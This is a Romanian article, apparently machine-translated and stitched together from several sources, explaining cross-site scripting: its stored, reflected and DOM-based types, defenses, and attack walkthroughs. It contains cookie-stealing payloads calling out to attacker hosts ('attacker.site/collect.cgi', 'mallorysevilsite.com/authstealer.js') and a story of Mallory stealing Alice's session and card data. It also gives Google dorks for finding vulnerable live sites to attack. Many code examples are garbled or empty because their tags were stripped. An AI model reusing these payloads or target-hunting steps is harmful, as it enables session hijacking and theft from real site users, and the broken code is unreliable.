    Datele de identificare, autorizare și autentificare sunt stocate de obicei sub formă de cookie-uri. Dacă aceste cookie-uri sunt persistente, atunci victima este vulnerabilă la atac chiar și atunci când nu folosește un browser când accesează www.vulnerable.site. Totuși, dacă cookie-urile sunt temporare (de exemplu, sunt stocate în RAM), atunci pe partea clientului trebuie să existe o sesiune cu site-ul www.vulnerable.site.

    O altă posibilă implementare a unei etichete de identificare este parametrul URL. În astfel de cazuri, puteți accesa alte ferestre folosind JavaScript, după cum urmează (presupunând că numele paginii cu parametrii URL doriti este foobar):

    var victim_window=open(","foobar");alert("Poate accesa:

    " +victim_window.location.search)

    Pentru a rula un script JavaScript, puteți utiliza multe etichete HTML, altele decât . De fapt, este, de asemenea, posibil să plasați cod JavaScript rău intenționat pe un alt server și apoi să păcăliți clientul să descarce scriptul și să-l execute. Acest lucru poate fi util dacă trebuie să rulați o cantitate mare de cod sau dacă codul conține caractere speciale.

    Iată câteva variante ale acestor posibilități.

    • În loc de... hackerii pot folosi . Acest lucru este potrivit pentru site-urile care filtrează eticheta HTML.
    • În loc de ... poți folosi construcția . Acest lucru este bun în situațiile în care codul JavaScript este prea lung sau dacă conține caractere ilegale.

    Uneori, datele încorporate în pagina de răspuns sunt în context HTML plătit. În acest caz, mai întâi trebuie să „escape” în contextul liber și apoi să efectuați un atac XSS. De exemplu, dacă datele sunt inserate ca valoare implicită pentru un câmp de formular HTML:

    Și codul HTML rezultat va fi după cum urmează:

    fereastra.deschise

    ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)">

    Până acum am văzut că un atac XSS poate apărea în parametrul de solicitare GET la care răspunde scriptul. Dar atacul poate fi efectuat și folosind o solicitare POST, sau folosind componenta cale a cererii HTTP și chiar folosind unele antete HTTP (de exemplu, Referer).

    În special, componenta cale este utilă atunci când pagina de eroare returnează o cale nevalidă. În acest caz, includerea unui script rău intenționat în cale va determina adesea executarea acestuia. Multe servere Web sunt vulnerabile la acest atac.

    Este important de înțeles că, deși site-ul Web nu este afectat direct de acest atac (el continuă să funcționeze normal, nu este executat niciun cod rău intenționat asupra acestuia, nu are loc nici un atac DoS, iar datele de pe site nu sunt citite sau modificate direct) , aceasta este încă o breșă în sistemul de securitate pe care site-ul îl oferă clienților sau vizitatorilor săi. Acesta este similar cu un site care este folosit pentru a implementa o aplicație cu etichete de securitate slabe. Din această cauză, un atacator poate ghici eticheta de securitate a clientului și poate pretinde că este el (sau ea).

    Punctul slab al aplicației este scriptul, care returnează parametrul său indiferent de valoarea acestuia. Un script bun ar trebui să se asigure că parametrul este în formatul corect, că conține caractere acceptabile etc. De obicei, nu există niciun motiv pentru ca parametrul corect să conțină etichete HTML sau cod JavaScript. Ele trebuie eliminate din parametru înainte de a putea fi injectate într-un răspuns sau utilizate într-o aplicație. Acest lucru va asigura siguranța.

    Există trei moduri de a vă proteja site-ul web de atacurile XSS.

  • Efectuând propria dvs. filtrare a datelor de intrare (uneori numită igienizare de intrare). Pentru fiecare intrare de utilizator (fie că este un parametru sau un antet HTML), fiecare script auto-scris ar trebui să utilizeze filtrare avansată împotriva etichetelor HTML, inclusiv codul JavaScript. De exemplu, scriptul welcome.cgi din exemplul anterior ar trebui să filtreze eticheta după decodificarea parametrului nume. Această metodă are mai multe dezavantaje serioase.
    • Este necesar ca programatorul de aplicații să aibă o bună cunoaștere a tehnologiilor de securitate.
    • Este necesar ca programatorul să acopere toate sursele posibile de date de intrare (parametri de solicitare, parametri de corp de solicitare POST, anteturi HTTP).
    • Nu poate proteja împotriva vulnerabilităților din scripturile sau serverele terților. De exemplu, nu va proteja împotriva problemelor din paginile de eroare de pe serverele Web (care afișează calea sursă).
  • Efectuarea „filtrarii de ieșire”, de ex. filtrarea datelor utilizatorului atunci când sunt trimise înapoi în browser, nu atunci când le primește scriptul. Un bun exemplu al acestei abordări ar fi un script care inserează date într-o bază de date și apoi le afișează. În acest caz, este important să aplicați filtrul nu șirului de intrare original, ci doar versiunii de ieșire. Dezavantajele acestei metode sunt similare cu cele ale filtrării de intrare.
  • Instalarea unui firewall de aplicație terță parte (firewall). Acest ecran interceptează atacurile XSS înainte ca acestea să ajungă la serverul Web și scripturile vulnerabile și le blochează. Firewall-urile aplicației pot acoperi toate metodele de introducere tratându-le într-un mod comun (inclusiv calea și anteturile HTTP), indiferent de script-ul sau calea din aplicația nativă, un script terță parte sau un script care nu descrie nicio resursă la toate (de exemplu, unul conceput pentru a declanșa o pagină de răspuns 404 de pe server). Pentru fiecare sursă de intrare, firewall-ul aplicației examinează datele pentru diferite modele de etichete HTML și cod JavaScript. Dacă există potriviri, cererea este blocată și datele rău intenționate nu ajung pe server.

    • Concluzia logică a protecției unui site web este verificarea securității acestuia împotriva atacurilor XSS. La fel ca protejarea unui site de XSS, verificarea nivelului de protecție se poate face manual (pe calea grea) sau folosind un instrument automat pentru evaluarea vulnerabilității aplicațiilor Web. Acest instrument vă va scăpa de povara verificării. Acest program se deplasează pe site și rulează toate opțiunile pe care le cunoaște pentru toate scripturile pe care le detectează. Aceasta încearcă toți parametrii, anteturile și căile. În ambele metode, fiecare intrare în aplicație (parametrii tuturor scripturilor, antete HTTP, căi) este verificată cu cât mai multe opțiuni posibil. Și dacă pagina de răspuns conține cod JavaScript într-un context în care browserul îl poate executa, atunci apare un mesaj de vulnerabilitate XSS. De exemplu, când trimiteți următorul text:

    alertă (document.cookie)

    Pentru fiecare parametru al fiecărui script (prin intermediul unui browser cu capabilități JavaScript pentru a detecta cea mai simplă formă de vulnerabilitate XSS), browserul va deschide o fereastră de alertă JavaScript dacă textul este interpretat ca cod JavaScript. Desigur, există mai multe opțiuni. Prin urmare, testarea numai a acestei opțiuni nu este suficientă. Și, după cum ați învățat deja, puteți introduce cod JavaScript în diferite câmpuri de solicitare: parametri, anteturi HTTP și cale. Cu toate acestea, în unele cazuri (în special cu antetul HTTP Referer), este incomod să efectuați un atac folosind un browser.

    Cross-site scripting este unul dintre cele mai comune atacuri la nivel de aplicație pe care hackerii le folosesc pentru a compromite aplicațiile Web. Este, de asemenea, cel mai periculos. Acesta este un atac la confidențialitatea clienților unui anumit site Web. Poate duce la distrugerea completă a sistemului de securitate atunci când datele clientului sunt furate și utilizate în viitor într-un anumit scop. Din păcate, așa cum explică acest articol, acest lucru se face adesea fără a cunoaște clientul sau organizația atacată.

    Pentru a preveni ca site-urile Web să fie vulnerabile la aceste activități rău intenționate, este important ca o organizație să implementeze o strategie de securitate atât online, cât și offline. Aceasta include un verificator automat de vulnerabilități care poate testa toate vulnerabilitățile cunoscute ale site-urilor Web și aplicațiilor specifice (cum ar fi scriptingul între site-uri) pe un site. Pentru o protecție online completă, este, de asemenea, vital să instalați un firewall care poate detecta și bloca orice tip de manipulare a codului și a datelor care se află pe sau în spatele serverelor Web.

    Cross-site scripting (XSS) este o vulnerabilitate care implică injectarea codului client (JavaScript) într-o pagină web pe care o vizualizează alți utilizatori.

    Vulnerabilitatea se datorează filtrarii insuficiente a datelor pe care utilizatorul le trimite spre inserare în pagina web. Este mult mai ușor de înțeles cu un exemplu concret. Amintiți-vă orice carte de oaspeți - acestea sunt programe care sunt concepute să accepte date de la utilizator și apoi să le afișeze. Să ne imaginăm că cartea de oaspeți nu verifică sau filtrează în niciun fel datele introduse, ci pur și simplu le afișează.

    Puteți schița cel mai simplu script al dvs. (nu este nimic mai ușor decât să scrieți scripturi proaste în PHP - mulți oameni fac asta). Dar există deja o mulțime de opțiuni gata făcute. De exemplu, sugerez să începem cu Dojo și OWASP Mutillidae II. Există un exemplu similar acolo. Într-un mediu Dojo autonom, accesați acest link în browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

    Dacă unul dintre utilizatori a introdus:

    Pagina web va afișa apoi:

    Buna ziua! Îmi place site-ul tău.

    Și dacă utilizatorul introduce asta:

    Buna ziua! Îmi place site-ul tău.alert(„Pwned”)

    Apoi va fi afișat astfel:

    Browserele stochează multe module cookie pentru un număr mare de site-uri. Fiecare site poate primi doar cookie-uri salvate de la sine. De exemplu, example.com a stocat unele cookie-uri în browserul dumneavoastră. Dacă vizitați another.com, acest site (scripturi client și server) nu poate accesa cookie-urile pe care example.com le-a stocat.

    Dacă example.com este vulnerabil la XSS, aceasta înseamnă că putem injecta cumva cod JavaScript în el, iar acel cod va fi executat în numele example.com! Acestea. Acest cod va accesa, de exemplu, modulele cookie ale example.com.

    Cred că toată lumea își amintește că JavaScript este executat în browserele utilizatorilor, adică. în prezența XSS, codul rău intenționat încorporat obține acces la datele utilizatorului care a deschis pagina site-ului.

    Codul încorporat poate face tot ce poate face JavaScript, și anume:

    • obține acces la cookie-urile site-ului web pe care îl vizualizați
    • poate face orice modificare a aspectului paginii
    • accesează clipboard-ul
    • poate implementa programe JavaScript, de exemplu, keylogger (interceptoare de taste)
    • ridica pe Beef
    • si etc.

    Cel mai simplu exemplu cu cookie-uri:

    alertă (document.cookie)

    De fapt, alerta este folosită doar pentru a detecta XSS. Sarcina utilă reală rău intenționată efectuează acțiuni ascunse. Contactează în secret serverul de la distanță al atacatorului și îi transferă datele furate.

    Tipuri de XSS

    Cel mai important lucru de înțeles despre tipurile de XSS este că acestea sunt:

    • Stocat (permanent)
    • Reflectat (volativ)

    Exemplu de constante:

    • Un mesaj special creat de atacator introdus în cartea de oaspeți (comentariu, mesaj pe forum, profil), care este salvat pe server, este descărcat de pe server de fiecare dată când utilizatorii solicită afișarea acestei pagini.
    • Atacatorul a obținut acces la datele serverului, de exemplu, prin injecție SQL și a introdus cod JavaScript rău intenționat (cu kilogger sau BeEF) în datele oferite utilizatorului.

    Exemplu de cele nepermanente:

    • Există o căutare pe site care, împreună cu rezultatele căutării, arată ceva de genul „Ați căutat: [șir de căutare]”, iar datele nu sunt filtrate corect. Deoarece o astfel de pagină este afișată numai persoanei care are un link către ea, atacul nu va funcționa până când atacatorul nu trimite linkul către alți utilizatori ai site-ului. În loc să trimiteți un link către victimă, puteți utiliza plasarea unui script rău intenționat pe un site neutru pe care îl vizitează victima.

    De asemenea, ei disting (unele ca un tip de vulnerabilități XSS nepersistente, unii spun că acest tip poate fi și un tip de XSS persistent):

    • Modele DOM
    Caracteristicile XSS bazate pe DOM

    Pentru a spune foarte simplu, putem vedea codul rău intenționat al XSS nepersistent „obișnuit” dacă deschidem codul HTML. De exemplu, legătura este formată astfel:

    Http://example.com/search.php?q="/>alertă(1)

    Și când deschidem codul HTML sursă, vedem ceva de genul acesta:

    alert(1)" /> Găsiți

    Și DOM XSS schimbă structura DOM, care se formează în browser din mers și putem vedea doar cod rău intenționat atunci când vedem structura DOM generată. HTML-ul nu se schimbă. Să luăm acest cod ca exemplu:

    site:::DOM XSS A apărut o eroare... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var rezultate = location.hash .match(".*input=token(" + r4c + ");"); if (rezultate) ( document.getElementById("default").innerHTML = ""; return (unescape(rezultate)); ) else ( return null; ) ) display_session = OnLoad(); document.write("ID-ul sesiunii dvs. a fost: " + display_session + "

    ")

    Apoi, în browser vom vedea:

    Codul sursă a paginii:

    Să formăm adresa astfel:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

    Acum pagina arată așa:

    Dar să aruncăm o privire la codul sursă HTML:

    Acolo nu s-a schimbat absolut nimic. Despre asta vorbeam, trebuie să ne uităm la structura DOM a documentului pentru a identifica codul rău intenționat:

    Iată un prototip XSS funcțional, pentru un atac real avem nevoie de o sarcină utilă mai complexă, ceea ce nu este posibil din cauza faptului că aplicația se oprește din citit imediat după punct și virgulă, iar ceva de genul alert(1);alert(2) este nu. mai mult posibil. Cu toate acestea, datorită unescape() putem folosi o sarcină utilă ca aceasta în datele returnate:

    Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

    Unde am înlocuit simbolul ; la echivalentul codificat URI!

    Acum putem scrie o încărcătură JavaScript rău intenționată și să compunem un link pe care să îl trimitem victimei, așa cum se face pentru scripturile standard nepersistente între site-uri.

    Auditor XSS

    În Google Chrome (și, de asemenea, în Opera, care acum folosește motorul Google Chrome), mă aștepta această surpriză:

    dom_xss.html:30 Auditorul XSS a refuzat să execute un script în „http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);” deoarece codul sursă a fost găsit în cerere. Auditorul a fost activat deoarece serverul nu a trimis nici un antet „X-XSS-Protection”, nici „Content-Security-Policy”.

    Acestea. browserul are acum un auditor XSS care va încerca să prevină XSS. Firefox nu are încă această funcționalitate, dar cred că este o chestiune de timp. Dacă implementarea în browsere are succes, atunci putem vorbi despre o dificultate semnificativă în utilizarea XSS.

    Este bine să ne amintim că browserele moderne iau măsuri pentru a limita nivelul de probleme de exploatare, cum ar fi XSS nepersistent și XSS bazat pe DOM. Acesta este, de asemenea, ceva de reținut atunci când testați site-uri web folosind un browser - se poate dovedi că aplicația web este vulnerabilă, dar nu vedeți confirmarea pop-up-ului doar pentru că browserul o blochează.

    Exemple de exploatare XSS

    Atacatorii care intenționează să exploateze vulnerabilitățile cross-site scripting trebuie să abordeze fiecare clasă de vulnerabilitate în mod diferit. Vectorii de atac pentru fiecare clasă sunt descriși aici.

    Pentru vulnerabilitățile XSS, atacurile pot folosi BeEF, care extinde atacul de pe site la mediul local al utilizatorilor.

    Exemplu de atac XSS nepersistent

    1. Alice vizitează frecvent un anumit site web găzduit de Bob. Site-ul web al lui Bob îi permite lui Alice să se conecteze cu un nume de utilizator/parolă și să stocheze date sensibile, cum ar fi informațiile de plată. Când un utilizator se conectează, browserul stochează cookie-uri de autorizare, care arată ca niște caractere fără sens, de exemplu. ambele computere (client și server) își amintesc că a intrat.

    2. Mallory observă că site-ul lui Bob conține o vulnerabilitate XSS nepersistentă:

    2.1 Când vizitați pagina de căutare, introduceți șirul de căutare și faceți clic pe butonul de trimitere, dacă nu sunt găsite rezultate, pagina afișează șirul de căutare introdus urmat de cuvintele „nu găsit” și url-ul arată ca http://bobssite .org?q= interogarea ei de căutare

    2.2 Cu o interogare de căutare normală, cum ar fi cuvântul „câini”, pagina afișează pur și simplu „no dogs found” și url-ul http://bobssite.org?q=dogs, care este un comportament destul de normal.

    2.3 Cu toate acestea, atunci când o interogare de căutare anormală, cum ar fi alert("xss"); :

    2.3.1 Apare un mesaj de avertizare (care spune „xss”).

    2.3.2 Pagina afișează alertă ("xss"); nu a fost găsit împreună cu un mesaj de eroare cu textul „xss”.

    2.3.3 url potrivit pentru exploatare http://bobssite.org?q=alert("xss");

    3. Mallory construiește o adresă URL pentru a exploata vulnerabilitatea:

    3.1 Ea face adresa URL http://bobssite.org?q=puppies. Ea poate alege să convertească caracterele ASCII într-un format hexazecimal, cum ar fi http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E, în ordine pentru a împiedica oamenii să descifreze imediat o adresă URL rău intenționată.

    3.2 Ea trimite un e-mail unor membri nebănuiți ai site-ului lui Bob spunând: „Uită-te la câinii cool”.

    4. Alice primește o scrisoare. Iubește câinii și dă clic pe link. Ea merge pe site-ul lui Bob în căutare, nu găsește nimic, acolo este afișat „no dog found”, iar în mijloc este lansată o etichetă cu un script (este invizibil pe ecran), descarcă și execută Malory. programul authstealer.js (declanșează un atac XSS). Alice uită de asta.

    5. Programul authstealer.js rulează în browser-ul lui Alice ca și cum ar fi provenit de pe site-ul lui Bob. Ea ia o copie a cookie-urilor de autorizare ale lui Alice și le trimite pe serverul lui Malory, unde Malory le preia.

    7. Acum că Malorie este înăuntru, merge la secțiunea de plată a site-ului, caută și fură o copie a numărului cardului de credit al lui Alice. Apoi se duce și schimbă parola, adică. Acum, Alice nici nu mai poate intra.

    8. Ea decide să facă următorul pas și trimite link-ul astfel construit lui Bob însuși și astfel primește privilegii administrative pentru site-ul lui Bob.

    Atacul XSS persistent

  • Mallory are un cont pe site-ul lui Bob.
  • Mallory observă că site-ul lui Bob conține o vulnerabilitate XSS persistentă. Dacă accesați o secțiune nouă și postați un comentariu, acesta va afișa orice este introdus în ea. Dar dacă textul comentariului conține etichete HTML, acele etichete vor fi redate așa cum sunt și orice etichete de script vor fi executate.
  • Mallory citește un articol în secțiunea Știri și scrie un comentariu în secțiunea Comentarii. În comentariu ea introduce textul:
  • Mi-au plăcut foarte mult câinii din această poveste. Sunt atât de drăguți!
  • Când Alice (sau oricine altcineva) încarcă o pagină cu acest comentariu, eticheta de script a lui Malory rulează și fură cookie-ul de autorizare al lui Alice, trimițându-l la serverul secret al lui Malory pentru colectare.
  • Mallory poate deturna acum sesiunea lui Alice și se poate uzurpa pe Alice.
    • Găsirea site-urilor vulnerabile la XSS

    Dorks pentru XSS

    Primul pas este să selectăm site-urile pe care vom efectua atacuri XSS. Site-urile pot fi căutate folosind Google dorks. Iată câțiva dintre acești idioți pe care îi puteți copia și lipi într-o căutare pe Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    O listă de site-uri se va deschide în fața noastră. Trebuie să deschideți site-ul și să găsiți câmpuri de introducere pe acesta, cum ar fi un formular de feedback, un formular de introducere, căutare pe site etc.

    Permiteți-mi să observ imediat că este aproape inutil să căutați vulnerabilități în aplicațiile web populare actualizate automat. Un exemplu clasic de astfel de aplicație este WordPress. De fapt, există vulnerabilități în WordPress și mai ales în pluginurile sale. Mai mult, sunt multe site-uri care nu actualizează nici motorul WordPress (datorită faptului că webmasterul a făcut unele modificări la codul sursă), nici plugin-urile și temele lor (de regulă, acestea sunt plugin-uri și teme piratate). Dar dacă citești această secțiune și înveți ceva nou din ea, atunci WordPress nu este încă pentru tine... Cu siguranță vom reveni la el mai târziu.

    Cele mai bune obiective sunt o varietate de motoare și scripturi auto-scrise.

    Puteți selecta sarcina utilă de inserare ca

    alertă (1)

    Fiți atenți la ce etichete de cod HTML se încadrează codul dvs. încorporat. Iată un exemplu de câmp de intrare tipic:

    alertă (1)

    Sarcina noastră utilă va ajunge acolo unde este acum cuvântul „față de pernă”. Acestea. se transformă în valoarea etichetei de intrare. Putem evita acest lucru - închidem ghilimelele duble și apoi eticheta în sine cu „/>

    "/>alertă(1)

    Să încercăm pentru un site:

    Grozav, există o vulnerabilitate

    Programe pentru căutarea și scanarea vulnerabilităților XSS

    Probabil că toate scanerele de aplicații web au un scaner de vulnerabilități XSS încorporat. Acest subiect nu este cuprinzător; este mai bine să vă familiarizați cu fiecare scaner similar separat.